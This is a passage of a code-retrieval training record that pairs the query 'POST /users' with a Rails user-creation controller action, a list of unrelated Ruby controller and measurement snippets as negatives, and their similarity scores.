"def index\n respond_to do |format|\n format.html # show.html.haml\n format.json # show.json.jbuilder\n end\n end",
"def index\n\t\trespond_to do |format|\n\t\t\tformat.html {html_index}\n\t\t\tformat.json {json_index}\n\t\tend\n\tend",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @supervision }\n end\n end",
"def index\n respond_with(@collection) do |format|\n format.html\n format.json { render :json => json_data }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hack }\n end\n end",
"def index\n respond_to do |format|\n format.html { redirect_to(root_path) }\n format.json { render :index, status: :unprocessable_entity }\n end\n end",
"def render_response status: 200, obj: {}, notice: nil, url: root_path\n obj[:notice] = notice if obj.empty? && notice\n respond_to do |format|\n format.json { render json: obj.to_json, status: status }\n format.html { redirect_to url, notice: notice }\n end\n end",
"def controller_class; end",
"def controller_class; end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @supervisions }\n end\n end",
"def index\r\n render json: { status: \"Test API\"}\r\n end",
"def show\n render json: @todo\n end",
"def show\n render json: @todo\n end",
"def respond_with_resource\n respond_to do |format|\n yield(format) if block_given?\n format.html do\n set_single_instance\n render\n end\n format.json do\n render :json => @resource.as_json(root: include_root?)\n end\n end\n end",
"def show \n\t @request = Request.find(params[:id])\n\t respond_to do |format|\n\t format.html # show.html.erb\n\t format.json { render json: @request }\n\t end \n \tend",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def render(*args) #:nodoc:\n raise ::AbstractController::DoubleRenderError if self.response_body\n super\n self.content_type ||= rendered_format.to_s\n self.response_body\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @create }\n end\n end",
"def show\n render json: @entity.to_json if request.xhr?\n end",
"def show\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n end",
"def render_default_view\n respond_to do |format|\n format.html { render 'admin/common/action' }\n format.json { render json: { message: 'No content' }, status: :unprocessable_entity }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def render_json\n end",
"def index\n # Bad example\n # Exposes implementation details in controller\n # Produces unnecessary duplication\n # Complicates writing tests\n # => Should be placed in a model\n # @items = Item.where('published = ? AND published_on > ?', true, 2.days.ago)\n\n # Better example\n # Using scopes\n @items = Item.published.by_user(nil)\n\n\n # Bad example\n # Serialization logic should not be placed in the controller\n # respond_to do |format|\n # format.html\n # format.json {\n # render json: @items,\n # except: [:created_at, :updated_at],\n # include: { comments: {only: :id} }\n # }\n # end\n\n respond_to do |format|\n format.html\n\n # Render json using the default serializer ItemSerializer\n format.json { render json: @items }\n\n # Render json using a specific serializer\n # format.json { render json: @items, serializer: CustomItemSerializer }\n\n # Render json without the root\n # format.json { render json: @items, root: false }\n end\n\n end",
"def show\n render status: 501, json: { errors: ['Action not implemented.'] }\n end",
"def make_request\n respond_to do |format|\n # # if the response format is html, redirect as usual\n format.html { redirect_to root_path }\n # # if the response format is javascript, do something else...\n format.js { }\n end\n\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @load }\n end\n end",
"def method_missing(method, *args, &block)\n @response.respond_to?(method) ? @response.__send__(method, *args, &block) : super\n end",
"def show\n respond_to do |format|\n format.html { render layout: false }\n format.json\n end\n end",
"def show\n \n render status: 200, :json => @item\n\n end",
"def show\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\tend\n\tend",
"def respond\n end",
"def show\n respond_with []\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json {\n\n data = Hash.new\n data[\"batch\"] = @batch\n return_success_response(data, \"Request Successful\", 200)\n }\n end\n end",
"def handle_request( req )\n\t\tself.log.debug \"[:negotiation] Wrapping response with hypermedia presentation.\"\n\n\t\tresponse = super\n\t\tresponse.presenter = self.presenter\n\n\t\treturn response\n\tend",
"def new\n render :json => { }, :status => 405\n end",
"def show\n render json: {\"status\" => \"ok\"}\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def controller\n end",
"def controller\n end",
"def index\n respond_to do |format|\n format.json {render json: process_search(User)}\n format.html # index.html.erb\n end\n end",
"def show\n \trespond_with @rubro\n end",
"def index\n respond_to do |format|\n format.html {index_html}\n format.json {index_json}\n end\n end",
"def api_behavior\n raise(MissingRenderer, format) unless has_renderer?\n\n if get? || post? || put?\n display resource\n else\n head :no_content\n end\n end",
"def show\n @request = Request.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def show\n @request = Request.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def show\n @request = Request.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def show\n @request = Request.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end",
"def show\n @request = Request.find(params[:id])\n respond_with(@request)\n end",
"def show\n respond_with @content\n end",
"def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end",
"def map_view\n respond_to do |format|\n format.html \n format.json \n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_nav }\n end\n end",
"def show\n respond_to do |format|\n format.html { render :edit }\n format.json { render json: @item }\n end\n end",
"def show\n\t\trender json: @url, status: 200\n\tend",
"def show\n respond_to do |format|\n # format.html # index.html.erb\n format.json { render json: @todo }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resource_types }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render json:DisDatasourceDatatable.new(view_context) }\n end\n end",
"def options\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: '' }\n end\n end",
"def request; end",
"def request; end",
"def request; end"
] | [
"0.722741",
"0.71344936",
"0.6774035",
"0.65800697",
"0.65792745",
"0.65206504",
"0.65200824",
"0.6509677",
"0.64965665",
"0.64454347",
"0.63354063",
"0.6302215",
"0.6283222",
"0.6251773",
"0.62393016",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.6180863",
"0.61721796",
"0.6165221",
"0.61647993",
"0.6146347",
"0.6138546",
"0.61288446",
"0.6098721",
"0.6096893",
"0.6095379",
"0.6091993",
"0.60886186",
"0.6087106",
"0.60868096",
"0.6068674",
"0.60600317",
"0.60541284",
"0.6053518",
"0.6048627",
"0.6048627",
"0.6048049",
"0.6033495",
"0.60215384",
"0.60215384",
"0.60165703",
"0.6016056",
"0.6014803",
"0.60138375",
"0.6010345",
"0.6008858",
"0.6003498",
"0.60025734",
"0.6001051",
"0.59963655",
"0.59963655",
"0.5996115",
"0.5990417",
"0.59823966",
"0.59817463",
"0.59771174",
"0.59770894",
"0.59738886",
"0.5971003",
"0.59640443",
"0.5961912",
"0.59610724",
"0.59560674",
"0.59543556",
"0.59530497",
"0.5952913",
"0.5950632",
"0.5948033",
"0.5948033",
"0.59475684",
"0.594715",
"0.5946254",
"0.59303635",
"0.5928801",
"0.5928801",
"0.5928801",
"0.5928801",
"0.59265447",
"0.5920657",
"0.59155697",
"0.5915344",
"0.5914696",
"0.59100354",
"0.59034836",
"0.5902382",
"0.5901024",
"0.5893283",
"0.5888491",
"0.5880418",
"0.5877737",
"0.5877737",
"0.5877737"
] | 0.59665954 | 67 |
returns the measure record associated with the device | def measure_for_device(device_id, measure_id)
device = Device.where(:name => device_id)
# use first on device to get record from association, then
# use first again on measures to get measure record
device.first.measures.where(:name => measure_id).first if device.any?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def measure\n Measure.new(1, self)\n end",
"def get_cell_measures(cell)\n query_cell_info '/cell/getMeasures', cell\n end",
"def get_patient_result(patient_id)\n qm = QualityMeasure.new(@measure_id, @sub_id)\n measure = Builder.new(get_db, qm.definition, @parameter_values)\n records = get_db.collection('records')\n result = records.map_reduce(measure.map_function, \"function(key, values){return values;}\",\n :out => {:inline => true}, \n :raw => true, \n :finalize => measure.finalize_function,\n :query => {:medical_record_number => patient_id, :test_id => @parameter_values['test_id']})\n raise result['err'] if result['ok']!=1\n result['results'][0]['value']\n end",
"def measurement_values\n return @measurement_values unless @measurement_values.nil? \n return nil unless self.id\n \n @measurement_values = MetricMeasurementValues.new({:metric_id => self.id})\n return @measurement_values\n end",
"def resourceType\n 'DeviceMetric'\n end",
"def measures\n @dimensions.describe\n end",
"def measures(cube_unique_name)\n @measures = {} if @measures.nil?\n\n @measures[cube_unique_name] ||= cube(cube_unique_name).get_measures.map do |measure|\n {\n :unique_name => measure.get_unique_name,\n :name => measure.get_caption\n }\n end\n end",
"def metric_devices\n return @metric_devices\n end",
"def measurements\n return @values['measurements'] if @values.key?('measurements')\n @values['measurements'] = {}\n @values['measurements']\n end",
"def find_measure(instance_name)\n @items.find { |i| i.name == instance_name }\n end",
"def reported_result(measure)\n (reported_results || {})[measure.key] || {}\n end",
"def get_metric start, stop, step\n\t\[email protected]_metric self, start, stop, step\n\tend",
"def meters \n metrics(Meter)\n end",
"def usage_measures\n request = get '/1/reporting/measures'\n convert_to_mashes request\n end",
"def measurements\n []\n end",
"def measurements\n @measurements ||= []\n end",
"def metric\n provider.find_metric(metric_key)\n end",
"def get_measures\n # Collect time sig events and scan for last event time\n time_sigs = []\n max_pos = 0\n @tracks.each do |t|\n t.each do |e|\n time_sigs << e if e.kind_of?(MIDI::TimeSig)\n max_pos = e.time_from_start if e.time_from_start > max_pos\n end\n end\n time_sigs.sort { |x,y| x.time_from_start <=> y.time_from_start }\n\n # Add a \"fake\" time sig event at the very last position of the sequence,\n # just to make sure the whole sequence is calculated.\n t = MIDI::TimeSig.new(4, 2, 24, 8, 0)\n t.time_from_start = max_pos\n time_sigs << t\n\n # Default to 4/4\n measure_length = @ppqn * 4\n oldnumer, olddenom, oldbeats = 4, 2, 24\n\n measures = MIDI::Measures.new(max_pos, @ppqn)\n curr_pos = 0\n curr_meas_no = 1\n time_sigs.each do |te|\n meas_count = (te.time_from_start - curr_pos) / measure_length\n meas_count += 1 if (te.time_from_start - curr_pos) % measure_length > 0\n 1.upto(meas_count) do |i|\n measures << MIDI::Measure.new(curr_meas_no, curr_pos, measure_length,\n oldnumer, olddenom, oldbeats)\n curr_meas_no += 1\n curr_pos += measure_length\n end\n oldnumer, olddenom, oldbeats = te.numerator, te.denominator, te.metronome_ticks\n measure_length = te.measure_duration(@ppqn)\n end\n measures\n end",
"def medical_record_number\n return medical_identifiers.first.medical_record_number if medical_identifiers.size == 1\n end",
"def list_measures\n exec_req_and_parse_response \"/measure/list\"\n end",
"def measures(client, var, options={})\n\t\t\t\tif options[:measures]\n\t\t\t\t\t\toptions[:measures] \n\t\t\t\telse\n\t\t\t\t\t[\"probe\",\"marker\",\"value\"]\n\t\t\t\tend\n\t\t\t\t# measure_properties(measures,var,options)\n\t\t\tend",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def variables_card\n metric_card.metric_variables_card\nend",
"def data\n measurements.collect do |measurement|\n {\n id: measurement.id, key: measurement.seconds,\n value: measurement.ppm, area: measurement.area,\n deleted: measurement.excluded\n }\n end\n end",
"def format_measure(v)\n v\n end",
"def measures\n return [] if !measure_ids\n self.bundle.measures.in(:hqmf_id => measure_ids).order_by([[:hqmf_id, :asc],[:sub_id, :asc]])\n end",
"def show\n skippable_fields = [:map_fns, :record_ids, :measure_attributes]\n @measure = Measure.by_user(current_user).without(*skippable_fields).find(params[:id])\n if stale? last_modified: @measure.updated_at.try(:utc), etag: @measure.cache_key\n @measure_json = MultiJson.encode(@measure.as_json(except: skippable_fields))\n respond_with @measure do |format|\n format.json { render json: @measure_json }\n end\n end\n end",
"def map_record_into_measure_groups(patient_id)\n qm = QualityMeasure.new(@measure_id, @sub_id)\n measure = Builder.new(get_db, qm.definition, @parameter_values)\n records = get_db.collection('records')\n records.map_reduce(measure.map_function, \"function(key, values){return values;}\",\n :out => {:reduce => 'patient_cache'}, \n :finalize => measure.finalize_function,\n :query => {:medical_record_number => patient_id, :test_id => @parameter_values['test_id']})\n apply_manual_exclusions\n end",
"def useful_measures_by_measure_type(validation_id)\n validation = Validation.find(validation_id)\n if validation.measure_type == 'discrete'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n elsif validation.measure_type == 'continuous'\n measure_ids.select { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == true }\n else\n measure_ids\n end\n end",
"def unit(measurement, measurement_sub_type) \n measure_unit = self.unit_of_measurements.\n joins(:measure_unit, :measurement_sub_type, :measurement).\n where(\"measurements.name = ? AND measurement_sub_types.name = ? AND measure_units.unit_type_id = ?\", measurement, measurement_sub_type, self.units_of_measurement_id.to_i).\n select(\"measure_units.*\").\n first\n \n measure_unit.unit rescue \"\" \n end",
"def measure\n\t\t1\n\tend",
"def device\n device_name\n end",
"def measure_id\n \"#{host}-#{plugin_display}-#{type_display}\"\n end",
"def get_metrics\n {\n method: \"Performance.getMetrics\"\n }\n end",
"def device\n attachments[0]['device'] if has_attachments?\n end",
"def mde_device_id\n return @mde_device_id\n end",
"def mde_device_id\n return @mde_device_id\n end",
"def get_record(key)\n fields = get(key)[:record]\n MemoryRecord.new.init(key,fields) if fields\n end",
"def device(device)\n @devices[device] \n end",
"def device(device)\n @devices[device] \n end",
"def get_mobile_device()\n res = self.send_request 'get_mobile_device'\n device_info_xml = REXML::Document.new(res.body).root\n rez ={}\n device_info_xml.elements.each do |el|\n rez.merge! Hash[el.name.to_s,el.text.to_s]\n end\n return rez\n end",
"def detail_material\n mass * material.price_per_kg / 1000\n end",
"def defMeasurement(name,&block)\n mp = {:mp => name, :fields => []}\n @fields = []\n # call the block with ourserlves to process its 'defMetric' statements\n block.call(self) if block\n @fields.each { |f| mp[:fields] << f }\n define_measurement_point(mp)\n end",
"def get_metric m, start=nil, stop=nil, step=nil\n\t\ttest_file\n\n\t\tdata = []\n\t\tFile.open(@file).each_line do |line|\n\t\t\tx, y = line.split(@delimiter)\n\t\t\tdata << {x: x.to_i, y: y.to_f} if x.to_i.between?(start, stop)\n\t\tend\n\n\t\traise Store::Error, \"No data for #{m.metric_id} within selected time period\" if data == []\n\n\t\treturn data_sanitize data, start, stop, step\n\n end",
"def sd\n field_fetch('SD')\n end",
"def quality\n return self.sendcmd(\"modem.get_quality\")\n end",
"def measure; end",
"def measure(stat_or_name, time, value, unit=nil)\n\t\tstat = self.stat(stat_or_name)\n\t\traise \"unknown stat: #{stat_or_name}\" unless stat\n\t\tvalue = Unit.normalize(value, unit || stat.unit, stat)\n\t\tstat.measurements.new :measured_at => time, :value => value\n\tend",
"def metric_value\n\t\tresult = ActiveRecord::Base.connection.execute self.query\n\t\treturn nil if result.blank? || result.first.blank? || result.first.keys.blank?\n\t\treturn result.first[result.first.keys.first] # is there a better way to do this?\n\tend",
"def set_measure_report\n @measure_report = MeasureReport.find(params[:id])\n end",
"def measurements\n result = self.product.user.measurements.where('measured_at >= ?', self.begin_at)\n result = result.where('measured_at <= ?', self.end_at) if result.any? && self.end_at.present?\n result\n end",
"def get_measurements_mobile\n\t\tif !params[:card_id].nil? and !params[:measure_type_id].nil?\n\t\t\t@measurements = Measurement.where(\"card_id = ? and measure_type_id = ?\", params[:card_id], params[:measure_type_id]).order(created_at: :desc)\n\t\t\trender json: @measurements\n\t\telse\n\t\t\trender json: Measurement.all.order(created_at: :desc)\n\t\tend\n\tend",
"def presentation_unit_type_measure\n packing_material.presentation_unit_type_measure\n end",
"def get_metric(key)\n metrics[key] || meta[key]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def sd\n return self[:sd]\n end",
"def med\n info 'os10_lldp_interface::med'\n begin\n @lldp_interface_med = @lldp_intf[:'lldp-med-cfg'] || {}\n return @lldp_interface_med[:'med-enable'] || ''\n rescue Exception => e\n err 'Exception in med'\n err e.message\n err e.backtrace[0]\n raise\n end\n end",
"def get_sampling_profile\n {\n method: \"Memory.getSamplingProfile\"\n }\n end",
"def get_pool_measure(category, dimension)\n [get_data_measure(stored_data_start, category, dimension),\n get_data_measure(stored_data_last, category, dimension)]\n end",
"def pds_meters\n @data_list = PdsMeter.where(Project: project.ProjectID)\n .includes({ hw_ic: [:hw_ped, pds_project_unit: :unit] }, :system, :pds_section_assembler)\n end",
"def find_metric(name)\n @metrics.detect{|m| m.name == name }\n end",
"def parse(doc)\n measure_info = {}\n \n @definition['measure'].each_pair do |property, description|\n raise \"No standard_category for #{property}\" if !description['standard_category']\n importer = importer_for_category(description['standard_category'])\n measure_info[property] = importer.extract(doc, property, description)\n end\n \n measure_info\n end",
"def set_kr_measure\n @kr_measure = KrMeasure.find(params[:id])\n end",
"def device_description\n return @device_description\n end",
"def useful_measures_by_performance_rate(validation_id)\n validation = Validation.find(validation_id)\n if validation.performance_rate_required == true\n # Remove all continuous measures since they do not have a performance rate\n measure_ids.select! { |id| HealthDataStandards::CQM::Measure.find_by(_id: id).continuous_variable == false }\n useful_measure_ids = []\n measure_ids.each do |id|\n hqmf_id = HealthDataStandards::CQM::Measure.find_by(_id: id).hqmf_id\n cache = HealthDataStandards::CQM::QueryCache.find_by(measure_id: hqmf_id)\n if (cache.NUMER != 0 && !cache.NUMER.nil?) || ((cache.DENOM ||= 0) - (cache.DENEXCEP ||= 0) - (cache.DENEX ||= 0)) != 0\n useful_measure_ids << HealthDataStandards::CQM::Measure.find_by(hqmf_id: hqmf_id).id\n end\n end\n useful_measure_ids\n else\n measure_ids\n end\n end",
"def set_measure_instance\n @measure_instance = MeasureInstance.find(params[:id])\n end",
"def device_model\n return @device_model\n end",
"def device_model\n return @device_model\n end",
"def infer_measure\n puts \"#infer_measure; hash is #{self}\" if SY::DEBUG\n map do |qnt, exp|\n puts \"#infer_measure: doing quantity #{qnt} with exponent #{exp}!\" if SY::DEBUG\n if qnt.standardish? then\n puts \"#{qnt} standardish\" if SY::DEBUG\n SY::Measure.identity\n else\n puts \"#{qnt} not standardish\" if SY::DEBUG\n puts \"its measure is #{qnt.measure}, class #{qnt.measure.class}\" if SY::DEBUG\n qnt.measure( of: qnt.standard ) ** exp\n end\n end.reduce( SY::Measure.identity, :* )\n end",
"def metrics\n standard.unit.convert_to_metric imperials\n end",
"def measure(path, dimension)\n processor.measure(path, dimension)\n end",
"def set_unit_measure\n @unit_measure = UnitMeasure.find(params[:id])\n end",
"def metric(metric_id)\n from_resource :metric,\n connection.get(api_uri(\"metrics/#{metric_id}\"))\n end",
"def to_s\n t = \"#{@numerator}/#{2**@denominator}\"\n m = @metronome_ticks.to_f / 24\n \"measure #{@measure_number} #{@start}-#{@end} #{t} #{m} qs metronome\"\n end",
"def get_measured_points\n measured_points.points\n end",
"def std_deviation(measure = :avg_total_payments)\n measure_values = charges.map{|c| c.read_attribute(measure)}\n stats = DescriptiveStatistics::Stats.new(measure_values)\n stats.standard_deviation\n end",
"def get(id)\n Hawkular::Metrics::MetricDefinition::new(@client.http_get(\"/#{@resource}/#{id}\"))\n end",
"def show\n @measure = Measure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @measure }\n end\n end"
] | [
"0.6254628",
"0.62511176",
"0.6113168",
"0.6065451",
"0.6030521",
"0.6027722",
"0.5988547",
"0.5962184",
"0.5931976",
"0.59317654",
"0.59277445",
"0.5884901",
"0.5878865",
"0.58713424",
"0.5865355",
"0.586038",
"0.5829321",
"0.58077085",
"0.5791861",
"0.57839763",
"0.5758343",
"0.57511026",
"0.57511026",
"0.57511026",
"0.5723697",
"0.5698178",
"0.56158406",
"0.5603718",
"0.56026655",
"0.5555681",
"0.55523205",
"0.55153346",
"0.5503125",
"0.55008566",
"0.5499093",
"0.54925394",
"0.5488145",
"0.5463712",
"0.5463712",
"0.546074",
"0.5446973",
"0.5446973",
"0.5423761",
"0.54215604",
"0.5414828",
"0.54130113",
"0.5399968",
"0.5398145",
"0.5389187",
"0.5383615",
"0.5377047",
"0.5371028",
"0.5369583",
"0.53459734",
"0.5345439",
"0.53368425",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.53318375",
"0.5331352",
"0.5331352",
"0.53304684",
"0.5327863",
"0.5318711",
"0.53157175",
"0.53156537",
"0.5311412",
"0.53084886",
"0.53015244",
"0.5300367",
"0.5297488",
"0.5295086",
"0.5295086",
"0.52906793",
"0.52902323",
"0.5289048",
"0.5284764",
"0.52781224",
"0.5273188",
"0.52579045",
"0.5250896",
"0.52497715",
"0.52450854"
] | 0.77113473 | 0 |
POST /users POST /users.json | def create
@user = User.new(user_params)
respond_to do |format|
if @user.save
format.html { redirect_to groups_path, notice: 'User was successfully created.' }
format.json { render :show, status: :created, location: @user }
session[:user_id] = @user.id
else
format.html { render :new }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def create\n user = User.create(user_params) \n render json: user, status: :created\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end",
"def create\n user= User.create(user_params)\n render json: user\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end",
"def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end",
"def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end",
"def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
